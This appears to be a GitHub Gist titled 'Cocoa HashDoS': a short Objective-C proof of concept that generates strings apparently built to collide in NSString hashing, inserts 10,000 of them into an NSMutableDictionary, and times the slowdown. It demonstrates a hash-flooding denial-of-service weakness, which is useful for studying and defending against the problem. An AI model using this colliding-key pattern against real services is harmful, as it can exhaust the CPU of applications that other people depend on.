Last active
December 10, 2015 17:28
-
-
Save dchest/4467707 to your computer and use it in GitHub Desktop.
Cocoa HashDoS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#import <Foundation/Foundation.h> | |
NSString *collidingString() { | |
char rs[15]; | |
for (int i = 0; i < 14; i++) | |
rs[i] = arc4random_uniform('Z'-'A') + 'A'; | |
rs[14] = 0; | |
return [NSString stringWithFormat:@"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa________________aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", | |
rs]; | |
} | |
int main(int argc, const char * argv[]) | |
{ | |
@autoreleasepool { | |
NSMutableDictionary *d = [[NSMutableDictionary alloc] init]; | |
NSDate *start = [NSDate date]; | |
// Insert. | |
for (int i = 0; i < 10000; i++) { | |
NSString *key = collidingString(); | |
[d setValue:@"some value" forKey:key]; | |
} | |
NSLog(@"%f", [[NSDate date] timeIntervalSinceDate:start]); | |
} | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment